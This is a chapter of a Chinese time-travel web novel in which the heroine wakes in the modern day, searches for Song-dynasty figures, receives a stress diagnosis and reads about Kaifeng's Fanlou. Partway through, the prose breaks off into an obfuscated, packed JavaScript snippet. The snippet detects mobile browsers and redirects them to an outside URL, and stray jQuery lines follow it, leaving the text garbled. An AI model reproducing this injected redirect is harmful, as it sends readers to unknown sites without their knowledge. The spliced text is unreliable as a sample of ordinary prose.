187. 真回现代了
作品:《宋时家宴》 这一声呵斥,如惊雷贯耳。
柳嘉之浑身一颤,这是她第一次见到这般盛怒的赵祯。
茶盏应声而碎,晏井承几乎是本能地将柳嘉之往身后一带,宽大的衣袖替她挡开了飞溅的瓷片。
而二十一世纪柳嘉之的公寓里,宠物猫嘟嘟前爪一推,岛台上的空酒瓶翻滚着坠地。
重合的碎裂声,就这样冷不丁地撕开了两个时空的边界。
恍惚间,眼前的一切轮廓变得模糊,赵祯的怒骂声渐渐远去。
耳畔有细碎的声响钻进来,像是晏井承急切的沉声告罪,又像是谁的婉转吟唱。
“容我再等,历史转身……”
柳嘉之猛地从沙发上坐起身来,满头冷汗涔涔而下。
*
手机里的《烟花易冷》响了许久,终于停下。
柳嘉之眼角早已湿润,她怔怔看着身旁的嘟嘟,正不知忧愁地趴在客厅的地毯上梳理着毛发,假装岛台的动静与它无关。
“不,不……晏井承,”她哑着嗓子开口,踉跄着起身,满屋子乱找,“你在哪?!”
胳膊肘撞掉了茶几上的相框,照片滑落在地,是她去年生日时去川西拍的单人照。又碰翻了电视柜旁的收纳盒,零碎的发卡滚了一地。
她顾不上这些,嘴里反复念着那个梦里的名字。
手机铃声执拗地响到第三遍。
“跟着红尘,跟随我,浪迹一生……”
柳嘉之再也撑不住,顺着客厅的落地窗滑坐在地,将头埋进双膝,放声哭了起来。
*
半晌,闹钟再次响起,她这才伸手摸索着拿起手机,划过屏幕,鬼使神差地打开了搜索框,输入了【福康公主】。
【福康公主,宋仁宗长女,母苗贵妃。帝爱之甚,庆历七年封兖国公主……嘉祐二年,降驸马都尉李玮。玮貌陋性朴,与公主积不相能……】
【公主尝与内侍夜游,玮母杨氏窥之,公主怒,殴杨氏,夜开宫门入诉禁中。帝谕公主,降封沂国公主……】
【熙宁三年,公主薨,年三十三岁。帝临奠,见公主服饰敝陋,左右无侍人,乃知其久被困辱。】
柳嘉之的手指越滑越慢,那李玮应该便是李六郎吧。
赵祯的权衡,赵祯的苦衷,赵祯以为的后路,终究还是把他最疼爱的女儿,困在了一座牢笼,困到油尽灯枯。
心口猛地一窒,那她为何突然回来了?
难道是试图改变历史的惩罚?可她终究没有成功不是吗?
还是说,是梦……
一场荒诞却又温暖的,梦?
那个与她并肩,对抗帝王权衡与历史宿命的晏井承,竟只是一个梦中人?
*
正想着,手机屏幕倏地亮了一下,是公司坐她旁边工位的嘴毒实习生宣众,发来的消息弹窗。
【怎么运营三组组长还学会旷班了?[狗头]】
柳嘉之随手划走,继续打开搜索框。
晏井承、喻赤、单兴为、蒲信、范仲淹、范纯祐、范纯仁,甚至连只打过几次照面的蒋堂,她都挨个输了进去。
搜索结果跳出来,有人能搜到清晰的生平,比如范仲淹庆历新政的起落,范纯仁后来的宦海沉浮,蒲信祠堂的零星记载。
可有些人,翻遍了所有词条,都只有一片空白。
柳嘉之安慰着自己,不是所有人都能青史留名的,江湖客也好,暗阁人也罢,本就该是史书里的一抹烟尘,很正常。
直到她打开关于范纯粹的词条:
范纯粹,1046—1117年,字德孺。
庆历六年。
纯粹应该是庆历六年才出生的。
柳嘉之冷汗再次冒出,那那个会眼疾手快扶住她,会和沅儿一起缠着她要听孙悟空的小男孩,是谁?
她缓缓垂下头,视线落在自己的左手食指上。
鸢尾花银戒,是她上个月刚和没面过基的网恋对象分手,自己打鸡血般在手作店里,叮叮当当做了一下午的成果。
她无意识地握着戒指转了转,晏井承的声音却猝不及防地在颅内响起。
“这叫约指。”
“约定的约。”
*
柳嘉之胡乱抓了件外套,踩着勃肯鞋就冲出了门。
冬日阳光刺得她眼睛生疼,街上的车水马龙如往常一样,有序地喧嚣着。
她在手机上搜了最近的三甲医院,打车直奔心理科。候诊的椅子,身边坐满了神色各异的人。
轮到她时,医生让她坐下,递来一沓量表,又问了些关于睡眠、情绪、近期压力的问题。她交完那些选择题,最后只能含糊地说,做了一个很长很真实的梦。
医生耐心地听完,又结合量表数据和她的自述,扶了扶眼镜给出了诊断。
“从你的症状来看,属于急性应激性情绪障碍伴随解离症状,大概率是长期高压的工作状态叠加作息紊乱引发的。大脑会通过构建具象化的梦境,来代偿现实里的情绪耗竭,那些你觉得无比真实的细节,其实是潜意识对碎片化记忆的重组和加工。”
柳嘉之坐在对面,垂着眸听着。末了,她状似不经意地抬眼,试探问道:
“医生,那请问有什么能续梦的办法?”
*
医生闻言愣了一下,随即温和地笑了笑,安抚道:
“梦境是大脑的一种调节方式,咱们现在要做的,是让你从这些过于具象的梦境里抽离出来,回归到现实生活中。”
“不是什么严重的问题,好好调理就好。”他说着,低头在键盘上轻轻敲击了几下,电脑屏幕上跳出一行行诊断记录,打印机随即发出一阵嗡鸣。
“我给你开点短效的辅助调节情绪的药,还有小剂量的抑制剂,先按梯度剂量吃,前三天每日早中晚各半片,第四天起减为早晚各半片,第七天只需要晨起服半片,满一周就停药。”
片刻后,他从打印机旁拿起刚打出来的病假条和处方单,又添上医嘱签名,递过来叮嘱道:
“有条件最好请假休息一周,这段时间别想工作上的事,规律作息,少看那些和历史相关的书籍影视,多出门晒晒太阳,和朋友聚聚。”
柳嘉之机械接过,医生见她神色恹恹,又加重语气补充道:
“切记不能擅自停药或增减剂量,突然断药容易引发心悸、焦虑反弹甚至失眠加重。就算你觉得情绪好转了,也得按这个递减疗程吃完,要是中途出现头晕、嗜睡的副作用,或者后续还是频繁做这类梦,记得再来复诊,我给你调整调理方案。”
*</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939998|175250||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
接下来,柳嘉之严格按着医嘱吃药、作息。
每天晨起去楼下公园慢跑,白天收拾收拾屋子听听音乐,晚上不到十点就上床睡觉。药物的作用很明显,她睡得很沉,再也没做过梦。
但她也不是都照做了,她平板里的电子书架上多了很多历史相关的书籍。确切来说,是宋史相关。
从《东京梦华录》到庆历新政的史料集,空下来就在看,看得入了迷。
第三日,柳嘉之照旧晨跑回来,冲了个热水澡,坐在餐桌前吃早餐。餐盘里是自制的贝果,配着一杯热牛奶,她随手点开平板上的电子榨菜:一篇讲北宋汴京风物的书。
今天看的这章,正巧介绍北宋开封府的樊楼,说它本名白矾楼,后改丰乐楼,是东京七十二正店之首,五更便开市,楼下贩衣物、珍玩、各色吃食,热闹非凡。
柳嘉之看到这,喝了一口牛奶把贝果顺下去,双手捧起平板开始认真阅读。
*
说起来,她虽然开着酒楼,但是每次去汴京,都没寻着机会去这大名鼎鼎的樊楼呢。
她接着往下看,文中说樊楼初开时,会给先到的客人赏金旗,引得全城争相打卡。
柳嘉之不觉笑起,还好州江楼在益州,不然有那么强劲的对手坐镇,真不一定能做大做强。
再读到樊楼自酿【眉寿】【和旨】两款汴京名酒,菜色丰富,如姜芽鸭、蟹酿橙等,还说那时的酒楼已盛行“逐时施行索唤”,也就是如今的外卖服务。
柳嘉之一拍脑门,北宋早就有外卖服务,只是益州偏居西南,市井间的营生风气本就比汴京慢上半拍,酒楼只做堂食和宴席。当时她还大言不惭想给晏井承说这个新点子,还好没说出来,不然得被晏井承笑话。
“蟹酿橙……”她又喃喃道。
柳嘉之想起晏井承跟她吃的每一顿饭,他总会默默给她夹菜、盛汤,顺手得像是天生就该那样做一般。
差点越陷越深的思绪,被嘟嘟的喵喵叫拉回现实。
只见嘟嘟叫几声又咬住她的裤脚往喂食器边拽,柳嘉之这才反应过来自动喂食器里的猫粮空了,在喂食器上的指示灯闪烁着,她放下平板,一边给嘟嘟道歉,一边开始新一天的忙活。
*
下午,柳嘉之去到了离家最近的一间阳澄湖专卖店。
店员见她进门,热情迎上来:“您好,请问是想订蟹吗?现在是冬天,蟹都是暖棚里养的,预付定金,三天后就可以提最新的一批货。”
店员见柳嘉之说了句“好”后,毫不犹豫掏出手机,又连忙笑着补充:“对了,今儿是腊八节,我们店有活动,付定金送一罐腊八醋,您到时候可以配蟹吃。”
柳嘉之没多想,当即付了定金,接过店员递来的腊八醋,道了谢便出了店门。
“腊八节……”
去年的腊八,她喝着曹婧熬的腊八粥,范纯礼凑在她耳边,神神秘秘地说老八纯粹染了风寒。
她甩了甩头,把那些翻涌的梦境压下去,转身回了家。
进门嘟嘟正蜷在沙发上晒太阳,见她回来,立刻起身蹭着她的脚踝。柳嘉之弯腰摸了摸它的头后,开始收拾起行李箱。
收拾得差不多了,她抱起嘟嘟,“姐姐过几天就回来,现在天冷,就不折腾你啦。”

